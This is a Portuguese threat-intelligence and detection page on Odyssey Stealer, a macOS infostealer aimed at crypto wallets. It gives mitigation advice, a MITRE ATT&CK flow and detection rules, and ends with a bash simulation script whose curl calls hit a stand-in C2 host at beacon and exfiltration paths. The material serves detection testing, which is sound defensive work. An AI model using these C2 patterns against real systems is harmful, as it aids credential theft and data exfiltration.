Odyssey Stealer: Dentro de uma Operação de Furto de Criptomoedas no macOS
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Odyssey Stealer é um infostealer para macOS focado em carteiras de criptomoedas e extensões. Ele é comercializado como uma plataforma Malware-as-a-Service onde afiliados alugam acesso a um C2 centralizado e painel de administração. A entrega geralmente depende de AppleScript ofuscado que instala um LaunchDaemon persistente que consulta o C2 para comandos. O operador também pode substituir aplicativos legítimos da Ledger e Trezor por versões trojanizadas para capturar credenciais e dados de transações.
Investigação
Pesquisadores identificaram o C2 usando tags meta HTML únicas, hashes do corpo da página e um hash de favicon compartilhado. Eles mapearam dez hosts físicos em vários clusters de ASN, principalmente na Europa e nos Países Baixos. A dissecação do payload revelou um dropper AppleScript de múltiplos estágios, persistência de LaunchDaemon e um binário proxy SOCKS5 compilado em Go. Dados de configuração embutidos no dropper expuseram identificadores de afiliados e IDs de builds.
Mitigação
Observe atividades suspeitas de osascript, especialmente longas strings ofuscadas, arquivos plist de LaunchDaemon desconhecidos com rótulos aleatórios e solicitações POST de saída para endpoints “/log”. Alerta sobre binários gerados por LaunchDaemon e atividades suspeitas de SOCKS5. Verifique a assinatura de código para aplicações Ledger e Trezor, e bloqueie domínios e endereços IP conhecidos de C2. Treine os usuários para tratar prompts de senha inesperados e “atualizações de carteira” como de alto risco.
Resposta
Quando detectado, isole o sistema, termine o LaunchDaemon malicioso e remova aplicações de carteira trojanizadas. Capture o tráfego de rede para os domínios e IPs identificados do C2 para investigação, em seguida, redefina credenciais de criptomoeda expostas e altere senhas do macOS. Realize uma revisão forense completa para identificar artefatos adicionais.
“graph TB %% Class definitions classDef action fill:#99ccff %% Node definitions action_initial_access_phishing[“<b>Action</b> – <b>T1566 Phishing</b>: Malicious link delivered via email or malvertising<br /><b>Description</b>: Attacker gains initial access by tricking the user into clicking a link.”] class action_initial_access_phishing action action_user_execution_malicious_link[“<b>Action</b> – <b>T1204.001 User Execution: Malicious Link</b>: Victim clicks the link and launches an AppleScript dropper<br /><b>Description</b>: Code execution occurs after user interaction.”] class action_user_execution_malicious_link action action_execution_obfuscation[“<b>Action</b> – <b>T1027 Obfuscated Files or Information</b>: Obfuscated AppleScript payload executed via osascript<br /><b>Description</b>: Hides malicious code to evade detection.”] class action_execution_obfuscation action action_cred_gui_capture[“<b>Action</b> – <b>T1056.002 Input Capture: GUI</b>: Fake macOS password dialog captures admin credentials<br /><b>Description</b>: Steals credentials through UI spoofing.”] class action_cred_gui_capture action action_cred_browser_stores[“<b>Action</b> – <b>T1555.003 Credentials from Web Browsers</b>: Extracts cookies, passwords and crypto wallet data from Chrome, Edge and Firefox<br /><b>Description</b>: Harvests stored web credentials.”] class action_cred_browser_stores action action_cred_keychain[“<b>Action</b> – <b>T1555.005 Credentials from Password Managers</b>: Reads stored passwords from macOS Keychain<br /><b>Description</b>: Accesses password manager data.”] class action_cred_keychain action action_cred_securityd[“<b>Action</b> – <b>T1555.002 Credentials from Securityd Memory</b>: Harvests memory of the securityd process for credentials<br /><b>Description</b>: Retrieves credential material from process memory.”] class action_cred_securityd action action_priv_esc_valid_accounts[“<b>Action</b> – <b>T1078 Valid Accounts</b>: Uses captured admin password to obtain elevated rights<br /><b>Description</b>: Gains higher privileges with legitimate credentials.”] class action_priv_esc_valid_accounts action action_persistence_launchdaemon[“<b>Action</b> – <b>T1543.004 Launch Daemon</b>: Installs com.random.plist LaunchDaemon for periodic C2 polling<br /><b>Description</b>: Persists by creating a launch daemon.”] class action_persistence_launchdaemon action action_discovery_browser[“<b>Action</b> – <b>T1217 Browser Information Discovery</b>: Enumerates installed browsers and wallet extensions<br /><b>Description</b>: Gathers information about the victim’s browsing environment.”] class action_discovery_browser action action_collection_archive[“<b>Action</b> – <b>T1560 Archive Collected Data</b>: Compresses stolen files into a ZIP archive<br /><b>Description</b>: Packages data for exfiltration.”] class action_collection_archive action action_exfil_automated[“<b>Action</b> – <b>T1020 Automated Exfiltration</b>: POSTs the ZIP archive to the /log endpoint<br /><b>Description</b>: Sends collected data over HTTP.”] class action_exfil_automated action action_c2_webservice[“<b>Action</b> – <b>T1102 Web Service</b>: Communicates with C2 using HTTP GET and POST endpoints<br /><b>Description</b>: Utilizes web services for command and control.”] class action_c2_webservice action action_c2_dead_drop[“<b>Action</b> – <b>T1102.001 Dead Drop Resolver</b>: Retrieves payloads from /d/… URLs<br /><b>Description</b>: Uses a deadu2011drop location to obtain commands.”] class action_c2_dead_drop action action_c2_external_proxy[“<b>Action</b> – <b>T1090.002 External Proxy</b>: Downloads and runs a Go compiled SOCKS5 proxy for traffic tunneling<br /><b>Description</b>: Routes C2 traffic through an external proxy.”] class action_c2_external_proxy action %% Connections action_initial_access_phishing u002du002d>|leads_to| action_user_execution_malicious_link action_user_execution_malicious_link u002du002d>|triggers| action_execution_obfuscation action_execution_obfuscation u002du002d>|enables| action_cred_gui_capture action_cred_gui_capture u002du002d>|provides| action_cred_browser_stores action_cred_browser_stores u002du002d>|adds| action_cred_keychain action_cred_keychain u002du002d>|adds| action_cred_securityd action_cred_securityd u002du002d>|gives| action_priv_esc_valid_accounts action_priv_esc_valid_accounts u002du002d>|allows| action_persistence_launchdaemon action_persistence_launchdaemon u002du002d>|enables| action_discovery_browser action_discovery_browser u002du002d>|feeds| action_collection_archive action_collection_archive u002du002d>|prepares| action_exfil_automated action_exfil_automated u002du002d>|uses| action_c2_webservice action_c2_webservice u002du002d>|utilizes| action_c2_dead_drop action_c2_dead_drop u002du002d>|supports| action_c2_external_proxy “
Fluxo de Ataque
Detecções
Arquivamento de Suporte de Aplicativo do Shell do macOS (via cmdline)
Visualizar
MacOS Osascript Gerando Curl (via cmdline)
Visualizar
Shell do macOS Gravando no Diretório LaunchDaemons (via file_event)
Visualizar
IOCs (SourceIP) para detectar: Odyssey Stealer: Dentro de uma Operação de Roubo de Criptomoedas no macOS
Visualizar
IOCs (DestinationIP) para detectar: Odyssey Stealer: Dentro de uma Operação de Roubo de Criptomoedas no macOS
Visualizar
IOCs (HashSha256) para detectar: Odyssey Stealer: Dentro de uma Operação de Roubo de Criptomoedas no macOS
Visualizar
IOCs (HashMd5) para detectar: Odyssey Stealer: Dentro de uma Operação de Roubo de Criptomoedas no macOS
Visualizar
Detecção Endpoint C2 do Odyssey Stealer [Servidor Web]
Visualizar
Odyssey Stealer: Detecção de AppleScript Ofuscado e Uso de Curl [Criação de Processo Linux]
Visualizar
Execução de Simulação
Pré-requisito: O Check de Telemetria & Pré-voo deve ter passado.
-
Narrativa do Ataque & Comandos:
Um adversário implantou o Odyssey Stealer em uma estação de trabalho macOS. Após comprometer o usuário, o malware inicia um beacon para seu servidor C2 para baixar payloads adicionais e exfiltrar dados colhidos. O beacon usa ocurlbinário (binário Apple assinado) para emitir solicitações HTTP GET para os endpoints C2 definidos na regra. O atacante escolhe esses caminhos de URI específicos porque são curtos, se misturam com o tráfego web típico e evitam a detecção por soluções genéricas de filtragem de URL.Etapas:
- Resolva o nome do host C2 (simulado como
c2.odyssey.example.com). - Emita uma solicitação GET para
/d/aff123456– imita o endpoint de exfiltração de dados com um código de afiliado aleatório e token numérico. - Emita uma solicitação GET para
/api/v1/bot/– simula o batimento cardíaco de gerenciamento de bot. - Opcionalmente, envie uma solicitação para
/logpara emular o tráfego de registro interno usado pelo malware para relatórios de status.
- Resolva o nome do host C2 (simulado como
-
Script de Teste de Regressão: O seguinte script bash reproduz o tráfego exato necessário para acionar a regra de detecção.
#!/usr/bin/env bash # Simulação de beacon do Odyssey Stealer para validação de detecção # Requisitos: curl, proxy de rede configurado conforme etapas pré-voo C2_HOST="c2.odyssey.example.com" PROXY_HOST="127.0.0.1:3128" # ajuste para o endereço do seu proxy Squid # Função para enviar uma solicitação via proxy enviar_requisicao() { local path=$1 echo "[*] Enviando solicitação para https://${C2_HOST}${path} via proxy ${PROXY_HOST}" curl -x "$PROXY_HOST" -s -o /dev/null "https://${C2_HOST}${path}" } # 1. Endpoint de exfiltração de dados (afiliado aleatório + dígitos) AFILIADO="aff$(shuf -i 1000-9999 -n 1)" DIGITOS=$(shuf -i 10000-99999 -n 1) enviar_requisicao "/d/${AFILIADO}${DIGITS}" # 2. Batimento cardíaco de gerenciamento de bot enviar_requisicao "/api/v1/bot/" # 3. Endpoint de registro opcional enviar_requisicao "/log" echo "[+] Simulação completa. Verifique os alertas no SIEM."Salve o script como
odyssey_beacon.sh, torne-o executável (chmod +x odyssey_beacon.sh), e execute-o na máquina de teste macOS. -
Comandos de Limpeza: Remova quaisquer arquivos temporários e opcionalmente desative o proxy para o usuário de teste.
# Desative as configurações de proxy para a interface Wi-Fi networksetup -setwebproxystate "Wi-Fi" off networksetup -setsecurewebproxystate "Wi-Fi" off # (Opcional) Pare o Squid se ele foi iniciado apenas para este teste # brew services stop squid echo "Configurações de proxy restauradas e Squid parado (se aplicável)."